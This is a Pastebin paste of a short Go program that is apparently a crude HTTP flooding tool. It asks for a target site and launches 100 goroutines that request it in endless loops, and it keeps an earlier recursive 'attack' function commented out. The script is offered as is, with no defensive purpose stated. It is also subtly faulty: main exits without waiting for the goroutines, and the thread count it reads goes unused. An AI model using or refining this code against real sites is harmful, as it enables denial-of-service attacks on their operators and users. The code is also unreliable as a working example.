daily pastebin goal
7%
SHARE
TWEET

Untitled

a guest Jun 10th, 2018 63 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. package main
  2. import
  3. (
  4.     "fmt"
  5.     "net/http"
  6. )
  7. /*func attack(url string, times int) int{
  8.     if times == 0 {
  9.         return 0
  10.     }
  11.     go func() {
  12.         for {
  13.             resp, err := http.Get(url)
  14.             if err != nil {
  15.                 fmt.Println("Problems with sending: ", err)
  16.             } else {
  17.                 fmt.Println("Success.")            
  18.             }
  19.             defer resp.Body.Close()
  20.         }
  21.     }()
  22.     return attack(url, times-1)
  23. }*/
  24. func andron(url string) {
  25.     for {
  26.         fmt.Println("sss")
  27.         _, err := http.Get(url)
  28.         if err != nil {
  29.             fmt.Println("Problems with sending: ", err)
  30.         } else {
  31.             fmt.Println("Success.")            
  32.         }
  33.     }
  34. }
  35. func main() {
  36.     var url string
  37.     fmt.Print("Enter the name of the site: ")
  38.     fmt.Scan(&url)
  39.  
  40.     var times int
  41.     fmt.Print("Enter number of threads: ")
  42.     fmt.Scan(&times)
  43.     for i := 0; i < 100; i++ {
  44.         go andron(url)
  45.     }
  46.  }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top